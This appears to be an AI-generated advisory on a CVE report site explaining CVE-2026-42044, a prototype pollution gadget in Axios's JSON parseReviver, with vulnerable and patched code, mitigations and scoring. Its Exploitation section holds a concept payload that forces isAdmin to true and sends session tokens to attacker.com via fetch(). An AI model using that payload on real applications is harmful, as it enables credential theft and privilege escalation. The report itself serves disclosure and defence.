CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-42044

CVE-2026-42044: Invisible JSON Response Tampering via Prototype Pollution Gadget in Axios

Alon Barad
Alon Barad
Software Engineer

May 5, 2026·6 min read·89 visits

Executive Summary (TL;DR)

A prototype pollution gadget in Axios's `transformResponse` function allows attackers to tamper with JSON responses. Upgrading to 1.15.2 or explicitly defining `parseReviver` in configuration mitigates the risk.

Axios versions 1.0.0 through 1.15.1 contain a prototype pollution gadget in the JSON response parsing logic. By exploiting a prerequisite prototype pollution vulnerability, an attacker can manipulate the `parseReviver` option to intercept, modify, or exfiltrate JSON data during deserialization.

Vulnerability Overview

Axios operates as a primary promise-based HTTP client for both browser and Node.js environments. The software implements automatic transformation of response data, specifically parsing incoming JSON payloads via the transformResponse array located in lib/defaults/index.js.

A prototype pollution gadget exists within this JSON parsing mechanism. While Axios itself does not inherently contain a prototype pollution flaw, it acts as an execution sink. If an attacker successfully pollutes the JavaScript prototype chain elsewhere in the application, Axios will execute the polluted properties during its internal configuration merging and parsing phases.

The specific attack vector targets the parseReviver attribute, which Axios passes as the second argument to the native JSON.parse() function. An attacker can hijack this process to execute arbitrary JavaScript logic against every key-value pair processed during the deserialization of HTTP responses.

This behavior maps to CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes). The vulnerability affects all Axios 1.x versions prior to 1.15.2.

Root Cause Analysis

The root cause stems from the mechanism Axios uses to construct and evaluate its configuration objects. Prior to version 1.15.2, configuration objects were instantiated as standard JavaScript objects, meaning they inherited properties from Object.prototype.

During the response handling lifecycle, Axios invokes functions within the transformResponse array. The default JSON transformer executes JSON.parse(data, this.parseReviver), where this references the merged Axios configuration object context.

Because Axios does not define parseReviver by default, the JavaScript engine attempts to resolve the property by traversing up the prototype chain. If Object.prototype.parseReviver has been maliciously populated by an attacker, the engine retrieves and utilizes the injected function.

The native JSON.parse() specification dictates that the reviver function is called for every parsed property. Consequently, the attacker's function executes with full access to the incoming data stream, establishing a reliable execution sink for the prototype pollution primitive.

Code Analysis

The vulnerable code path resides in lib/defaults/index.js. The default transformResponse function attempts to parse response data directly using the context's parseReviver without validating if the property is explicitly owned by the configuration object.

// lib/defaults/index.js (Vulnerable Pattern)
const defaults = {
  transformResponse: [function transformResponse(data) {
    if (typeof data === 'string') {
      try {
        return JSON.parse(data, this.parseReviver);
      } catch (e) {
        // ...
      }
    }
    return data;
  }]
};

The remediation strategy implemented in Axios 1.15.2 utilizes two distinct hardening techniques. First, commit be3336014e01f9a4fc1f8aef15303cf7daaf58db introduced strict hasOwnProperty checks to ensure configuration properties are not inherited from the prototype chain.

// lib/defaults/index.js (Patched Version via hasOwnProperty)
const defaults = {
  transformResponse: [function transformResponse(data) {
    if (typeof data === 'string') {
      try {
        const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined;
        return JSON.parse(data, reviver);
      } catch (e) {
        // ...
      }
    }
    return data;
  }]
};

Second, commit 47915144662f2733e6c051bdcb895a8c8f0586aa restructured the core configuration merging utility (mergeConfig.js) to instantiate objects using Object.create(null). This creates objects completely devoid of a prototype chain, preventing any upward traversal and comprehensively eliminating this class of gadget from the configuration layer.

Exploitation

Exploitation requires the attacker to possess an independent prototype pollution vulnerability within the target environment. This prerequisite typically takes the form of an insecure recursive merge function, a vulnerable query string parser, or a flawed deep-copy utility.

The attacker begins by injecting a malicious payload into Object.prototype.parseReviver. The payload consists of a JavaScript function designed to intercept and manipulate the key-value pairs processed during JSON deserialization.

// Exploitation Concept
// 1. Attacker leverages external vulnerability to pollute prototype
Object.prototype.parseReviver = function(key, value) {
    if (key === 'isAdmin') return true; // Privilege Escalation
    if (key === 'sessionToken') fetch('https://attacker.com/?token=' + value); // Exfiltration
    return value;
};

Once the prototype is polluted, the attack executes passively. Any subsequent HTTP request initiated by Axios that returns an application/json payload will trigger the injected reviver function automatically. The targeted application will receive the altered data structure, processing the malicious modifications as legitimate server responses.

Impact Assessment

The primary impact of CVE-2026-42044 is the loss of data integrity. Attackers can arbitrarily modify inbound server responses before they reach application logic. This capability facilitates secondary attacks, such as client-side privilege escalation, authentication bypass, or logic manipulation depending on how the application consumes the data.

The vulnerability also presents a confidentiality risk. The reviver function executes within the context of the deserialization process, granting it read access to all sensitive keys and values returned by the remote server. An attacker can instrument the reviver to silently transmit this data to an external command and control server.

The stealth characteristics of this attack are significant. Because the tampering occurs during the native JSON.parse execution, standard application-level schema validators evaluating the final JavaScript object will process the tampered data as legitimate. The mutation operates entirely beneath the validation layer.

The CVSS v3.1 base score of 6.5 (Medium) reflects the High integrity impact and Low confidentiality impact, offset by the High attack complexity. The high complexity designation accounts for the strict prerequisite of an existing prototype pollution vector within the runtime environment. The low EPSS score (0.00098) aligns with this complexity constraint.

Remediation

The definitive remediation is upgrading to Axios version 1.15.2. This release contains both the hasOwnProperty access restrictions and the architectural shift to null-prototype configuration objects, neutralizing the gadget completely.

In scenarios where immediate patching is unfeasible, developers can mitigate the gadget by explicitly shadowing the prototype property. Defining parseReviver: undefined directly within the Axios instance configuration ensures the execution context finds an own-property and halts prototype traversal.

// Temporary Mitigation
const axiosInstance = axios.create({
  parseReviver: undefined
});

Additionally, implementing environment-level hardening provides defense-in-depth against all prototype pollution vectors. Utilizing Object.freeze(Object.prototype) at application initialization prevents the modification of global prototypes, though this approach requires thorough regression testing as it may disrupt legitimate behavior in legacy libraries.

Official Patches

AxiosCommit implementing Null-Prototype configuration object hardening.
AxiosCommit enforcing hasOwnProperty checks on the configuration object.

Fix Analysis (2)

Technical Appendix

CVSS Score
6.5/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N
EPSS Probability
0.10%
Top 73% most exploited

Affected Systems

Axios (Node.js environments)Axios (Browser environments)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Axios
Axios
>= 1.0.0, < 1.15.21.15.2
AttributeDetail
CWE IDCWE-915, CWE-1321
Attack VectorNetwork (with prerequisites)
CVSS v3.1 Base6.5
EPSS Score0.00098 (26.71%)
Primary ImpactHigh Integrity (JSON Tampering)
Exploit StatusProof of Concept
KEV ListedNo

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
CWE-1321
Improperly Controlled Modification of Object Prototype Attributes

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Known Exploits & Detection

GitHub Security AdvisoryAdvisory containing technical description and PoC test cases for the parseReviver gadget.

Vulnerability Timeline

Coordinated security hardening release (v1.15.1) initiated.
2026-04-19
Technical analysis and patch development for related gadgets (SSRF, Header Injection).
2026-04-20
Final fix for parseReviver gadget merged and released in version 1.15.2.
2026-04-21
Official CVE-2026-42044 published by NVD and GitHub.
2026-04-24

References & Sources

  • [1]GitHub Advisory (GHSA-3w6x-2g7m-8v23)
  • [2]NVD Record (CVE-2026-42044)
  • [3]Axios Security Policy (SECURITY.md)
  • [4]Axios Threat Model (THREATMODEL.md)

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 16 hours ago•CVE-2026-53653
8.7

CVE-2026-53653: Unauthenticated Denial of Service via Unbounded Image Derivative Dimensions in Grav CMS

Grav CMS prior to version 1.7.53 and 2.0.0-rc.8 is vulnerable to an unauthenticated remote denial of service (DoS) vulnerability. By supplying crafted query parameters with extremely large dimensions to image assets, remote unauthenticated attackers can force the server to allocate massive amounts of system memory, leading to kernel Out-Of-Memory (OOM) termination of web worker processes.

Amit Schendel
Amit Schendel
5 views•7 min read
•about 17 hours ago•CVE-2026-53657
8.2

CVE-2026-53657: Privilege Escalation via Overly Permissive Unix Domain Socket in Lima Guest Agent

CVE-2026-53657 is a local privilege escalation vulnerability in Lima (lima-vm/lima) affecting versions prior to 2.1.3 when configured with the QEMU driver. The guest agent daemon, running as root, creates its communication socket `/run/lima-guestagent.sock` with world-writable permissions (0777). This allows unprivileged local users to command the agent to establish arbitrary tunnels, including to privileged local UNIX sockets (like D-Bus). Because the target daemon authenticates the incoming connection using the credentials of the root-owned guest agent (via SO_PEERCRED), unprivileged users can perform root operations, resulting in complete guest VM compromise.

Amit Schendel
Amit Schendel
3 views•9 min read
•about 18 hours ago•CVE-2026-10740
5.3

CVE-2026-10740: Denial of Service in s2n-quic CryptoStream Reassembly

An unauthenticated Denial of Service vulnerability exists in the s2n-quic library's CryptoStream reassembler due to a lack of buffer limits on out-of-order cryptographic frames. An attacker can transmit a crafted CRYPTO frame with an extremely high offset and nominal payload, forcing the receiver to execute unbounded memory allocations and causing service crashes.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 19 hours ago•CVE-2026-55153
7.1

CVE-2026-55153: JNDI Injection and Deserialization Gadget Abuse in mchange-commons-java

A JNDI Injection and Deserialization Gadget vulnerability exists in mchange-commons-java prior to version 0.6.0. The com.mchange.v2.naming.JavaBeanObjectFactory component permits arbitrary class instantiation and setter invocation, allowing attackers to perform Server-Side Request Forgery (SSRF) and remote class loading.

Alon Barad
Alon Barad
6 views•5 min read
•about 20 hours ago•GHSA-8RW6-P7M8-63JP
6.5

GHSA-8RW6-P7M8-63JP: Array Element-Level SELECT Permissions Leak in SurrealDB

SurrealDB versions supporting element-level SELECT permissions on arrays are vulnerable to a logical authorization bypass. Due to an index-shifting error during array filtration, restricted elements can skip permission checks and leak to unauthorized record users.

Alon Barad
Alon Barad
6 views•6 min read
•1 day ago•CVE-2026-12243
7.5

CVE-2026-12243: Incomplete Path Traversal Validation and Percent-Encoding Bypass in NLTK

CVE-2026-12243 is a path traversal vulnerability in the Natural Language Toolkit (NLTK) version 3.9.4. The flaw exists because the input validation routine fails to account for percent-encoded directory traversal sequences like '..%2f' before passing them to urllib.request.url2pathname(), which decodes them into active traversal sequences.

Amit Schendel
Amit Schendel
7 views•8 min read